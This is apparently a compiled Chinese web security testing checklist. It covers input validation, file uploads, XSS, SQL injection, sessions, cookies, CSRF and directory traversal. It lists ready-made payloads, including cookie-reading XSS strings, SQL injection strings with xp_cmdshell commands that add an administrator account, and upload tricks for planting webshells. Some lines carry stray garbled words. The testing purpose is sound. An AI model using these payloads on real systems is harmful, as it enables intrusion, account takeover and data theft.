創建總體的威脅模型，測試溢出漏洞、信息泄漏、錯誤處理、SQL 注入、身份驗證和受權錯誤.php
- 1. 輸入驗證
客戶端驗證 服務器端驗證(禁用腳本調試，禁用Cookies)css
1.輸入很大的數（如4,294,967,269），輸入很小的數(負數)html
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,恰好到達限制字數時有何反應java
3.輸入特殊字符,如:~!@#$%^&*()_+<>:」{}|程序員
4.輸入中英文空格，輸入字符串中間含空格，輸入首尾空格web
5.輸入特殊字符串NULL,null，0x0d 0x0a正則表達式
6.輸入正常字符串 算法
7.輸入與要求不一樣類型的字符，如: 要求輸入數字則檢查正值,負值,零值（正零，負零）,小數,字母,空值; 要求輸入字母則檢查輸入數字sql
8.輸入html和javascript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點，不只對比其與問題最終頁的回答數，還要對回答進行添加刪除等操做後查看變化
例如：
1.輸入<html」>」gfhd</html>,看是否出錯；
2.輸入<input type=」text」 name=」user」/>,看是否出現文本框；
3.輸入<script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
關於上傳：
1.上傳文件是否有格式限制,是否能夠上傳exe文件；
2.上傳文件是否有大小限制,上傳太大的文件是否致使異常錯誤,上傳0K的文件是否會致使異常錯誤,上傳並不存在的文件是否會致使異常錯誤；
3.經過修改擴展名的方式是否能夠繞過格式限制，是否能夠經過壓包方式繞過格式限制；
4.是否有上傳空間的限制,是否能夠超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小，是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程當中，中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符，特殊字符等的文件上傳。
上傳漏洞拿shell：
8.直接上傳asp.asa.jsp.cer.php.aspx.htr.cdx….之類的馬，拿到shell.
9.就是在上傳時在後綴後面加空格或者加幾點，也許也會有驚奇的發現。例：*.asp ,*.asp..。
10.利用雙重擴展名上傳例如：*.jpg.asa格式(也能夠配上第二點一塊兒利用)。
11.gif文件頭欺騙
12.同名重複上傳也很OK。：
下載：
- 避免輸入：\..\web.
- 修改命名後綴。
關於URL：
1.某些需登陸後或特殊用戶才能進入的頁面,是否能夠經過直接輸入網址的方式進入；
2.對於帶參數的網址,惡意修改其參數,(若爲數字,則輸入字母,或很大的數字,或輸入特殊字符等)後打開網址是否出錯,是否能夠非法進入某些頁面；
3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字符。
UBB:
[url=http://www.****.com] 你的網站[/url]
1.試着用各類方式輸入UBB代碼,好比代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起做用
3.輸入編輯器中不存在的UBB代碼,看是否起做用
[url=javascript:alert('hello')]連接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg [/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
- 2. 輸出編碼
經常使用的測試輸入語句有：
<input type="text"/>
<input/>
<input/
<script>alert('hello');</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘」>xss&<
a=」\」 ; b=」;alert(/xss/);//」
<img src=「輸出內容」 border=「0」 alt=「logo」 />
「’」
‘」’
「」」
「 「 「
「」「
「‘ 」
title=」」
對輸出數據到輸出數據的對比，看是否出現問題。
- 3. 防止SQL注入
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell 「net user name password /add」—
;exec master..xp_cmdshell 「net localgroup name administrators /add」—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’，字符U對應的ASCII碼是85，因此能夠用where xtype=char(85)代替；若是字符是中文的，好比where name=’用戶’，能夠用where name=nchar(29992)+nchar(25143)代替。
- 4. 跨站腳本攻擊（XSS）
對於 XSS，只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎？是否在 IFRAME 標記中？它在 CLSID 標記中嗎？在 IMG SRC 中嗎？某些 Flash 內容的 PARAM NAME 是怎樣的？
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" >
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’」>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = 」;hackerFunction(document.cookie);」;
1、 用戶註冊
只從用戶名和密碼角度寫了幾個要考慮的測試點，若是需求中明確規定了安全問題，Email，出生日期，地址，性別等等一系列的格式和字符要求，那就都要寫用例測了~
以等價類劃分和邊界值法來分析
1.填寫符合要求的數據註冊： 用戶名字和密碼都爲最大長度（邊界值分析，取上點）
2.填寫符合要求的數據註冊 ：用戶名字和密碼都爲最小長度（邊界值分析，取上點）
3.填寫符合要求的數據註冊：用戶名字和密碼都是非最大和最小長度的數據（邊界值分析，取內點）
4.必填項分別爲空註冊
5.用戶名長度大於要求註冊1位（邊界值分析，取離點）
6.用戶名長度小於要求註冊1位（邊界值分析，取離點）
7.密碼長度大於要求註冊1位（邊界值分析，取離點）
8.密碼長度小於要求註冊1位（邊界值分析，取離點）
9.用戶名是不符合要求的字符註冊（這個能夠劃分幾個無效的等價類，通常寫一兩個就好了，如含有空格，#等，看需求是否容許吧~）
10.密碼是不符合要求的字符註冊（這個能夠劃分幾個無效的等價類，通常寫一兩個就好了）
11.兩次輸入密碼不一致（若是註冊時候要輸入兩次密碼，那麼這個是必須的）
12.從新註冊存在的用戶
13.改變存在的用戶的用戶名和密碼的大小寫，來註冊。（有的需求是區分大小寫，有的不區分）
14.看是否支持tap和enter鍵等；密碼是否能夠複製粘貼；密碼是否以* 之類的加祕符號顯示
備註：邊界值的上點、內點和離點你們應該都知道吧，呵呵，這裏我就不細說了~~
2、 修改密碼
固然具體狀況具體分析哈~不能一律而論~
實際測試中可能只用到其中幾條而已，好比銀行卡密碼的修改，就不用考慮英文和非法字符，更不用考慮那些ＴＡＰ之類的快捷鍵。而有的須要根據需求具體分析了，好比連續出錯多少次出現的提示，和一些軟件修改密碼要求必定時間內有必定的修改次數限制等等。
1.不輸入舊密碼，直接改密碼
2.輸入錯誤舊密碼
3.不輸入確認新密碼
4.不輸入新密碼
5.新密碼和確認新密碼不一致
6.新密碼中有空格
7.新密碼爲空
8.新密碼爲符合要求的最多字符
9.新密碼爲符合要求的最少字符
10.新密碼爲符合要求的非最多和最少字符
11.新密碼爲最多字符-1
12.新密碼爲最少字符+1
13.新密碼爲最多字符+1
14.新密碼爲最少字符-1
15.新密碼爲非容許字符（若有的密碼要求必須是英文和數字組成，那麼要試漢字和符號等）
16.看是否支持tap和enter鍵等；密碼是否能夠複製粘貼；密碼是否以* 之類的加祕符號
17.看密碼是否區分大小寫，新密碼中英文小寫，確認密碼中英文大寫
18.新密碼與舊密碼同樣可否修改爲功
另一些其餘的想法以下：
1 要測試全部規約中約定能夠輸入的特殊字符，字母，和數字，要求均可以正常輸入、顯示正常和添加成功
2 關注規約中的各類限制，好比長度，大否支持大小寫。
3 考慮各類特殊狀況，好比添加同名用戶，系統是否正確校驗給出提示信息，管理員賬戶是否能夠刪除，由於有些系統管理員擁有最大權限，一旦刪除管理員賬戶，就 不能在前臺添加，這給最終用戶會帶來不少麻煩。比較特殊的是，當用戶名中包括了特殊字符，那麼對這類用戶名的添加同名，修改，刪除，系統是否可以正確實 現，我就遇到了一個系統，添加同名用戶時，若是之前的用戶名沒有特殊字符，系統能夠給出提示信息，若是之前的用戶名包含特殊字符，就不校驗在插入數據庫的 時候報錯。後來查到緣由了，原來是在java中拼SQL語句的時候，由於有"_"，因此就調用了一個方法在「_」，前面加了一個轉義字符，後來發現不應調 用這個方法。因此去掉就行了。因此對待輸入框中的特殊字符要多關注。
4 數值上的長度 之類的，包括出錯信息是否合理
5 特殊字符：好比。 / ' " \ </html> 這些是否會形成系統崩潰
6 注入式bug：好比密碼輸入個or 1=1
7 登陸後是否會用明文傳遞參數
8 訪問控制（不知道這個算不算）：登陸後保存裏面的連接，關了瀏覽器直接複製連接看能不能訪問。
輸入框測試
1．驗證輸入與輸出的是否信息一致；
2．輸入框以前的標題是否正確；
3．對特殊字符的處理，尤爲是輸入信息徐須要發送到數據庫的。特殊字符包括：'（單引號）、"（雙引號）、[]（中括號）、()（小括號）、{}（大括號）、;（分號）、<>（大於小於號）……
4．對輸入框輸入超過限制的字符的處理，通常非特殊的沒有做出限制的在255byte左右；
5．輸入框自己的大小、長度；
6．不一樣內碼的字符的輸入；
7．對空格、TAB字符的處理機制；
8．字符自己顯示的顏色；
9．密碼輸入窗口轉換成星號或其它符號；
10．密碼輸入框對其中的信息進行加密，防止採用破解星號的方法破解；
11．按下ctrl和alt鍵對輸入框的影響；
12．對於新增、修改、註冊時用的輸入框，有限制的，應該輸入時做出提示，指出不容許的或者標出容許的；
13．對於有約束條件要求的輸入框應當在條件知足時輸入框的狀態發生相應的改變，好比選了湖南就應該列出湖南下面的市，或者選了某些條件以後，一些輸入框會關閉或轉爲只讀狀態；
14．輸入類型；根據前面的欄位標題判斷該輸入框應該輸入哪些內容算是合理的。例如，是否容許輸入數字或字母，不容許輸入其餘字符等。
15.輸入長度；數據庫字段有長度定義，當輸入過長時，提交數據是否會出錯。
16.輸入狀態；當處於某種狀態下，輸入框是否處於可寫或非可寫狀態。例如，系統自動給予的編號等欄位做爲惟一標識，當再次處於編輯狀態下，輸入框欄位應處於不可寫狀態，若是可寫對其編輯的話，可能會形成數據重複引發衝突等。
17．若是是會進行數據庫操做的輸入框，還能夠考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現
18．輸入類型
輸入長度
是否容許複製粘貼
爲空的狀況
空格的考慮
半角全角測試
對於密碼輸入框要考慮顯示的內容是* 輸入錯誤時的提示信息及提示信息是否準確
19．能夠先了解你要測試的輸入框在軟件系統的某個功能中所扮演的角色，而後瞭解其具體的輸入條件，在將輸入條件按照有效等價類，無效等價類，邊界值等方法進行測試用例的設計。
20．關鍵字有大小寫混合的狀況；
21．關鍵字中含有一個或多個空格的狀況，包括前空格，中間空格（多個關鍵字），和後空格；
22．關鍵字中是否支持通配符的狀況（視功能而定）；
23．關鍵字的長度分別爲九、十、11個字符時的狀況；
24．關鍵字是valid，可是沒有匹配搜索結果的狀況；
25．輸入html的標籤會出現哪些問題？輸入<html>會出現什麼問題呢？(這條是我本身發現的，在網上也沒找到相似的東東，呵呵，你們湊合着看吧)
安全測試方面：
給出一些特別的關鍵字，好比or 1=1, 這樣的關鍵字若是不被處理就直接用到數據庫查詢中去，後果可想而知。
用戶體驗相關
我登陸失敗的時候沒有任何提示，這沒什麼，反正提示也只是說失敗…
進去後發現顏色變動很強烈刺得我一眨眼，不過多看幾回就習慣了。
點擊某個連接的時候出現錯誤頁面，刷新後就行了，難道是隨機錯誤？
保存文字的時候沒有成功提示，不過能成功保存就算了。
瀏覽記錄的時候居然出現錯誤頁面，原來我沒有選記錄就瀏覽了，我本身操做不規範嘛。
刪除記錄的時候發現選錯了，想取消的時候卻提示刪除成功，都沒有確認提示，只能下次看仔細點了。
查詢時字母鍵被茶杯壓住了多輸了點字符，居然出現錯誤頁面，下次把東西整理好。
無聊隨便點點幾個連接，居然沒有反應，既然不用，那就不要作出來嘛。
看看本身上傳的圖片效果如何，這個怎麼不顯示？多試幾回發現名字不包含中文就行了，下次注意下。
改改字體字號顏色美化環境嘛，怎麼格式那裏不顯示正確的字體字號呢，將就用吧。
這裏的記錄條數怎麼這麼多啊？原來是沒有刪除按鈕，看來下次不能隨便加了。
這個結束時間怎麼在開始時間前啊？原來沒有進行控制，下面的人執行時……仍是本身改過來吧。
上次我在這裏看見的圖片呢？刷新後就出來了，怎麼和我玩捉迷藏呢？
多輸了點內容，保存時候提示太多了，點肯定後發現被清空了，我一個小時的工做啊！
這張圖片真不錯，可是按鈕呢，按鈕呢？按鈕被擠掉了我怎麼編輯啊。
據說F5是刷新點一下看看。怎麼好像變成了登陸界面？
剛學了怎麼用TAB鍵，確實很方便。TAB一下。跑哪去了，怎麼一片空白啊？？？
玩遊戲的人點擊速度那麼快，我也來試試。怎麼一雙擊就出錯了？
我找錯別字是很厲害的，這不就發現「贊成」寫成了「統一」。
這裏提示只能輸入1－100，我偏要輸入9999……保存看看，怎麼系統不能用了？
這裏一點擊就出現IE錯誤，硬是不彈出我須要的窗口。
這個查詢按鈕怎麼灰掉了？這麼多記錄讓我一頁一頁翻過去找啊。
上傳第二個附件的時候怎麼把第一個擠掉了啊，會擠掉也要提示一下嘛。
一個頁面上打開的記錄太多了，變體都用…省略了，要是鼠標放上去浮動顯示完整標題就方便多了。
這幾條記錄有依存關係，刪了一條其餘就沒了，提示都沒有，早知道我就用編輯了……
這條記錄怎麼好像是昨天的，我記得今天更新了啊？原來編輯後的記錄沒有傳到引用的地方。
最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了。我記得沒有隻能顯示一天的功能啊？？？
這裏怎麼沒有任何按鈕呢，看手冊才知道居然要用右鍵進行操做，怎麼忽然冒出個異類啊？？？
這裏怎麼能增長兩條相同的記錄呢？不控制一下天知道手下那些愣頭青會作出什麼來。
這裏的菜單一層一層又一層，足足有五層，把我頭都繞暈了……我記得哪裏說過最好不要超過三層的。
這個界面看起來怎麼這麼彆扭啊，是字體太大了，是按鈕過小了，仍是功能太多了，……
怎麼不是管理員登陸進來也能管理啊，那我這個管理員的身份不是畫蛇添足嗎？
刪除的時候提示Error，幸好我英語水平好，但是你換成中文不行嗎？
這條記錄不是刪除了嗎，怎麼還能引用啊，到時候出錯了怎麼辦，難道還要我記住刪了那些記錄？
通過精心編輯，我發了一條通知，怎麼用普通用戶查看的時候是默認的字體字號啊？？？
這幾個頁面上的當前日期怎麼是固定不變的啊，這都是去年的日期了，不會是開發時候的吧。
1、工具掃描
目前web安全掃描器針對 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的檢測技術已經比較成熟。
商業軟件web安全掃描器：有IBM Rational Appscan、WebInspect、Acunetix WVS
免費的掃描器：W3af 、Skipfish 等等
能夠考慮購買商業掃描軟件，也能夠使用免費的，各有各的好處。
首先能夠對網站進行大規模的掃描操做，工具掃描確認沒有漏洞或者漏洞已經修復後，再進行如下手工檢測。
2、手工檢測
1. 目錄遍歷
目錄遍歷產生的緣由是：程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符, 致使惡意用戶能夠經過提交目錄跳轉來遍歷服務器上的任意文件。
測試方法：在URL中輸入必定數量的「../」和「./」，驗證系統是否ESCAPE掉了這些目錄跳轉符。
2. 登錄
(1) 是否正確登錄
(2) 密碼複雜度
(3) ...
3. 用戶權限
(1) 用戶權限控制
1) 用戶權限控制主要是對一些有權限控制的功能進行驗證
2) 用戶A才能進行的操做，B是否可以進行操做（可經過竄session，將在下面介紹） 3）只能有A條件的用戶才能查看的頁面，是否B可以查看（可直接敲URL訪問）
(2) 頁面權限控制
1） 必須有登錄權限的頁面，是否可以在不登錄狀況下進行訪問
2）必須通過A——B——C的頁面，是否可以直接由A——C?
(3) ...
4. Cookie安全
(1) 屏蔽或刪除全部Cookie
(2) 有選擇性地屏蔽Cookie
(3) 篡改Cookie
(4) Cookie加密測試
(5) Cookie安全內容檢查
1) Cookie過時日期設置的合理性：檢查是否把Cookie的過時日期設置得過長。
2) HttpOnly屬性的設置：把Cookie的HttpOnly屬性設置爲True有助於緩解跨站點腳本威脅，防止Cookie被竊取。?
3) Secure屬性的設置：把Cookie的Secure屬性設置爲True，在傳輸Cookie時使用SSL鏈接，能保護數據在傳輸過程當中不被篡改。 對於這些設置，能夠利用Cookie?Editor來查看是否正確地被設置。
(6) ...
5. Session安全
(1) Session是客戶端與服務器端創建的會話，老是放在服務器上的，服務器會爲每次會話創建一個sessionId，每一個客戶會跟一個sessionID 對應。 並非關閉瀏覽器就結束了本次會話，一般是用戶執行「退出」操做或者會話超時時纔會結束。
(2) 測試關注點：
1) Session互竄
Session互竄便是用戶A的操做被用戶B執行了。 驗證Session互竄，其原理仍是基於權限控制，如某筆訂單隻能是A進行操做，或者只能是A才能看到的頁面，可是B的session竄進來卻可以得到A的訂單詳情等。
Session互竄方法： 多TAB瀏覽器，在兩個TAB頁中都保留的是用戶A的session記錄，而後在其中一個TAB頁執行退出操做，登錄用戶B, 此時兩個TAB頁都是B的session，而後在另外一個A的頁面執行操做，查看是否能成功。 預期結果：有權限控制的操做，B不能執行A頁面的操做，應該報錯，沒有權限控制的操做，B執行了A頁面 操做後，數據記錄是B的而不是A的。
2) Session超時
基於Session原理，須要驗證系統session是否有超時機制，還須要驗證session超時後功能是否還能繼續走下去。
測試方法： 一、打開一個頁面，等着10分鐘session超時時間到了，而後對頁面進行操做，查看效果。 二、多TAB瀏覽器，在兩個TAB頁中都保留的是用戶A的session記錄，而後在其中一個TAB頁執行退出操做，立刻在另一個頁面進行要驗證的操 做，查看是能繼續到下一步仍是到登陸頁面。
3) ...
6. URL安全
(1) URL參數檢查
A: 對URL中參數信息檢查是否正確 如：URL中的訂單號、金額容許顯示出來的話，須要驗證其是否正確
B: 對於一些重要的參數信息，不該該在URL中顯示出來 如：用戶登錄時登陸名、密碼是否被顯示出來了.
(2) URL參數值篡改
修改URL中的數據，看程序是否能識別： 如：對於如下URL，修改其中planId，看是程序是否能夠識別： http://pay.daily.taobao.net/mysub/plan/subplan/confirmSubPlanInfo.htm?planId=878 又如：對於URL中包含金額參數的，修改金額看是否可以提交成功（可能致使用戶把2元金額改爲1元金額能提交），還有修改訂單號等重要信息看是否會報錯
(3) URL中參數進行XSS注入
什麼是XSS？ XSS的全稱是Cross Site Script（跨站點腳本） XSS的原理很簡單，即進行腳本注入，URL執行時即把此腳本進行了執行，通常都是JavaScript腳本， 如<script>alter(「abc」)<script> 在URL中進行XSS注入，也就是把URL中的參數改爲JS腳本。
(4) URL參數中進行SQL 注入
什麼是SQL注入？ SQL注入全稱是SQL Injection ，當應用程序使用輸入內容來構造動態sql語句以訪問數據庫時，會發生sql注入攻擊，如查詢、插入數據時。
測試方法： URL中寫入SQL注入語句，看是否被執行，如：’or 1=1;shutdown
通常狀況下要進行SQL注入攻擊，須要對數據庫類型、表名、判斷邏輯、查詢語句等比較清楚纔可以寫出有效的SQL注入語句。
(5) ...
7. 表單提交安全
(1) 表單中注入XSS腳本
測試方法：即在表單填寫框中直接注入JS腳本 如在表單中輸入XSS腳本，程序是不該該讓腳本執行的。
(2) 表單中注入SQL 腳本
(3) ...
8. 上傳文件安全
分析：上傳文件最好要有格式的限制；上傳文件還要有大小的限制。
9. Email Header Injection(郵件標頭注入)
Email Header Injection：若是表單用於發送email, 表單中可能包括「subject」輸入項（郵件標題）， 咱們要驗證subject中應能escape掉「\n」標識。
<!--[if !supportLists]--><!--[endif]-->由於「\n」是新行，若是在subject中輸入「hello\ncc:spamvictim@example.com」，可能會造成如下
Subject: hello
cc: spamvictim@example.com
<!--[if !supportLists]--><!--[endif]-->若是容許用戶使用這樣的subject，那他可能會給利用這個缺陷經過咱們的平臺給其它用 戶發送垃圾郵件。
10. 不恰當的異常處理
分析：程序在拋出異常的時候給出了比較詳細的內部錯誤信息，暴露了不該該顯示的執行細節，網站存在潛在漏洞；
11. ...
WEB的安全性測試主要從如下方面考慮：
1.SQL Injection(SQL注入)
(1)如何進行SQL注入測試?
- 首先找到帶有參數傳遞的URL頁面,如 搜索頁面,登陸頁面,提交評論頁面等等.
注1:對 於未明顯標識在URL中傳遞參數的,能夠經過查看HTML源代碼中的"FORM"標籤來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標籤中間的每個參數傳遞都有可能被利用.
| <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> |
注 2:當你找不到有輸入行爲的頁面時,能夠嘗試找一些帶有某些參數的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
- 其 次,在URL參數或表單中加入某些特殊的SQL語句或SQL片段,如在登陸頁面的URL中輸入HTTP://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1--
| 注1：根據實際狀況,SQL注入請求能夠使用如下語句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a 例子：在登陸時進行身份驗證時，一般使用以下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL語句會變成如下：sql=select * from user where username='admin' or 1='1' and password='11' ' 與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行. 接 下來是OR查詢條件,OR是一個邏輯運 算符，在判斷多個條件的時候，只要一個成立，則等式就成立，後面的AND就再也不時行判斷了，也就是 說咱們繞過了密碼驗證，咱們只用用戶名就能夠登陸. 如 輸入http://duck/index.asp?username=admin'--&pwd=11，SQL語 句會變成如下sql=select * from user where name='admin' --' and pasword='11', '與admin前面的'組成了一個查 詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行 |
- 最後,驗證是否能入侵成功或是出錯的信息是否包含關於數據庫服務器 的相關信息;若是 能說明存在SQL安 全漏洞.
- 試想,若是網站存在SQL注入的危險,對於有經驗的惡意用戶還可能猜出數據庫表和表結構,並對數據庫表進行增\刪\改的操 做,這樣形成的後果是很是嚴重的.
(2)如何預防SQL注入?
從應用程序的角度來說,咱們要作如下三項工做:
- 轉義敏感字符及字符串(SQL的敏感字符包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」‘」,」--」,」%」,」0x」,」><=!-*/()|」,和」空格」).
- 屏蔽出錯信息：阻止攻擊者知道攻擊的結果
- 在服務端正式處理以前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法以前,服務端拒絕進行關鍵性的處理操做.
從測試人員的角度來說,在程序開發前(即需求階段),咱們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,咱們通常檢驗如下幾項安全性問題:
- 需求中應說明表單中某一FIELD的類型,長度,以及取值範圍(主要做用就是禁止輸入敏感字符)
- 需求中應說明若是超出表單規定的類型,長度,以及取值範圍的,應用程序應給出不包含任何代碼或數據庫信息的錯誤提示.
固然在執行測試的過程當中,咱們也需求對上述兩項內容進行測試.
2.Cross-site scritping(XSS):(跨站點腳本攻擊)
(1)如何進行XSS測試?
- <!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如 登陸頁面,搜索頁面,提交評論,發表留言 頁面等等。
- <!--[if !supportLists]-->其次,在頁面參數中輸入以下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試：
| <scrīpt>alert(document.cookie)</scrīpt> |
注:其它的XSS測試語句
| ><scrīpt>alert(document.cookie)</scrīpt> |
- 最後,當用戶瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
- 試想若是咱們注入的不是以上這個簡單的測試代碼，而是一段常常精心設計的惡意腳本，當用戶瀏覽此帖時，cookie信息就可能成功的被 攻擊者獲取。此時瀏覽者的賬號就很容易被攻擊者掌控了。
(2)如何預防XSS漏洞?
從應用程序的角度來說,要進行如下幾項預防:
- 對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 語句或腳本進行轉義.
- 在 服務端正式處理以前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法以前,服務端 拒絕進行關鍵性的處理操做.
從測試人員的角度來說,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:
- 在需求檢查過程當中對各輸入項或輸出項進行類型、長度以及取 值範圍進行驗證，着重驗證是否對HTML或腳本代碼進行了轉義。
- 執行測試過程當中也應對上述項進行檢查。
3.CSRF:(跨站點僞造請求)
CSRF儘管聽起來像跨站腳本（XSS），但它與XSS很是不一樣，而且攻擊方式幾乎相左。
XSS是利用站點內的信任用戶，而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。
XSS也好，CSRF也好，它的目的在於竊取用戶的信息，如SESSION 和 COOKIES（關於SESSION和COOKIES的介紹請參見個人另外一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
(1)如何進行CSRF測試？
關於這個主題本人也正在研究，目前主要經過安全性測試工具來進行檢查。
(2)如何預防CSRF漏洞？
- 請參見http://www.hanguofeng.cn/archives/security/preventing-csrf
- 請 參見http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html
4.Email HeaderInjection(郵件標頭注入)
Email Header Injection：若是表單用於發送email,表單中可能包括「subject」輸入項（郵件標題），咱們要驗證subject中應能escape掉「\n」標識。
- <!--[if !supportLists]--><!--[endif]-->由於「\n」是新行，若是在subject中輸入「hello\ncc:spamvictim@example.com」，可能會造成如下
Subject: hello
cc: spamvictim@example.com
- <!--[if !supportLists]--><!--[endif]-->若是容許用戶使用這樣的subject，那他可能會給利用這個缺陷經過咱們的平臺給其它用 戶發送垃圾郵件。
5.Directory Traversal(目錄遍歷)
（1）如何進行目錄遍歷測試？
- 目錄遍歷產生的緣由是：程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,致使惡意用戶能夠經過提交目錄跳轉來遍歷服務器上的任意文件。
- 測試方法：在URL中輸入必定數量的「../」和「./」，驗證系統是否ESCAPE掉了這些目錄跳轉符。
（2）如何預防目錄遍歷？
- 限制Web應用在服務器上的運行
- 進 行嚴格的輸入驗證，控制用戶輸入非法路徑
6.exposed errormessages(錯誤信息)
（1）如何進行測試？
- 首 先找到一些錯誤頁面，好比404,或500頁面。
- 驗證在調試未開經過的狀況下，是否給出了友好的錯誤提示信息好比「你訪問的頁面不存 在」等，而並不是曝露一些程序代碼。
（2）如何預防？
- 測試人員在進行需求檢查時，應該對出錯信息 進行詳細查，好比是否給出了出錯信息，是否給出了正確的出錯信息。
讓Web站點崩潰最多見的七大緣由
磁盤已滿
致使系統沒法正常運行的最可能的緣由是磁盤已滿。一個好的網絡管理員會密切關注磁盤的使用狀況，隔必定的時間，就須要將磁盤上的一些負載轉存到備份存儲介質中（例如磁帶）。
日誌文件會很快用光全部的磁盤空間。Web服務器的日誌文件、SQL*Net的日誌文件、JDBC日誌文件，以及應用程序服務器日誌文件均與內存泄漏有同等的危害。能夠採起措施將日誌文件保存在與操做系統不一樣的文件系統中。日誌文件系統空間已滿時Web服務器也會被掛起，但機器自身被掛起的概率已大大減低。
C指針錯誤
